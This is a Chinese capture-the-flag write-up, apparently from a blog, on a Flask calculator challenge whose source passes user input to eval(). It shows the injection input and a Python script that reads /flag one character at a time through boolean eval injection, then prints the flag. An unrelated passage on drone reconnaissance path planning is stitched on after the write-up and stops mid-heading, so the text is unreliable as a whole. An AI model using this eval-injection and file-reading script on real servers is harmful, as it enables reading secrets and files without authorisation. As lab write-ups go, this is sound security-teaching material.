【web】-flask-简单的计算题(不简单)

打开页面是这样的

初步思路,打开F12,查看头,都发现了这个表达式的base64加密字符串。编写脚本提交答案,发现不对;

无奈点开source发现源代码,是flask,初始化表达式,获取提交的表达式,赋值新的表达式,没发现有什么问题,但是eval是个危险函数,前后端没有严格的过滤,这个可以利用,输入:(-497559)+(969608)+(-255632)+(587860)+(716596)  and 1==1 后提示Congratulations。source代码和实现代码如下


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

## flag is in /flag try to get it

@app.route('/', methods=['GET', 'POST'])
def index():

    def filter(string):
        if "or" in string:
            return "hack"
        return string

    if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question==None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        try:
            calc_result = str((eval(input_question + "=" + str(input))))
            if calc_result == 'True':
                result = "Congratulations"
            elif calc_result == 'False':
                result = "Error"
            else:
                result = "Invalid"
        except:
            result = "Invalid"
        return render_template('index.html', answer=result,question=create_question)

    if request.method == 'GET':
        create_question = create()
        session['question'] = create_question
        return render_template('index.html',question=create_question)

@app.route('/source')
def source():
        return open("app.py", "r").read()

if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False)
import requests
import re

def main():
    alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
    url='ip'
    data={"input":""}
    s = requests.Session()
    flag = ''
    for i in range(0,100):
        for char in alphabet:
            try:
                r = s.get(url)
                question = re.search(r"<h4>(.*)</h4>", r.text.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]
                data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)
                r = s.post(url, data=data)
                result = r.content.decode()
                if r"Congratulations" in result:
                    flag += char
                    print(flag)
                    break
            except Exception as e:
                print("Exception: ", end='')
                print(e)
if __name__ == '__main__':
    main()

运行后得到flag : DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2}

无人机协同侦察任务航迹规划是一项复杂而关键的技术,在军事、科研及商业应用等领域都具有重要价值。这种规划需要综合考虑飞行效率、能量消耗、通信稳定性、目标覆盖度以及潜在风险等因素,通常采用数学建模、算法优化以及智能决策等手段进行。 ### 航迹规划的基本步骤: #### 1. 目标识别与区域划分 首先,明确侦察任务的目标,如地面特定区域内的敌方活动、重要资源分布等。接着,基于地图数据将作业区域划分为若干小块,每个小块由一台或无人机负责侦察。 #### 2. 初始路径规划 利用图论、最短路径算法(如Dijkstra算法、A*搜索算法)、或者更高级的优化技术(遗传算法、粒子群优化等),对每架无人机生成一条从起飞点到目的地的初步航线。此过程需考虑到地形限制、速度限制、安全距离等约束条件。 #### 3. 协同策略制定 通过网络理论或博弈论,设计无人机之间的协作策略。例如,可以设置“领航”机制,让一架无人机作为先导,其他无人机跟随,以减少迷路的可能性;或是实施动态调度,根据实时信息调整无人机任务分配,提高整体效能。 #### 4. 避障与自适应调整 构建障碍物检测模型,并结合环境感知技术(如激光雷达、热成像系统),实现实时避障。同时,利用机器学习算法不断学习和优化航迹,针对可能出现的新情况自动调整路线,保证任务完成的同时降低能源消耗。 #### 5. 通信与同步控制 确保各无人机间有稳定的通信链路,便于共享情报、调整计划。利用分布式控制系统或中央指挥平台进行协调管理,处理复杂的决策问题,如紧急避险、任务优先级调整等。 #### 6. 模拟与验证 通过仿真技术模拟实际操作场景,评估航迹规划方案的有效性和鲁棒性。基于反馈结果,持续迭代优化规划算法,提升任务成功率和无人机系统的整体性能。 ### 实现无人机协同侦察任务航迹规划的关键技术包括但不限于: - **自主导航与定位**:利用GPS、惯性测量单元(IMU)、视觉传感器等种设备进行高精度定位和导航。 - **无线通信技术**:选择低延迟、抗干扰性强的通信协议,确保数据传输的可靠性和安全性。 - **人工智能与大数据分析**:运用深度学习、强化学习等AI技术预测环境变化,优化飞行策略,提高任务执行效率和应对突发事件的能力。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值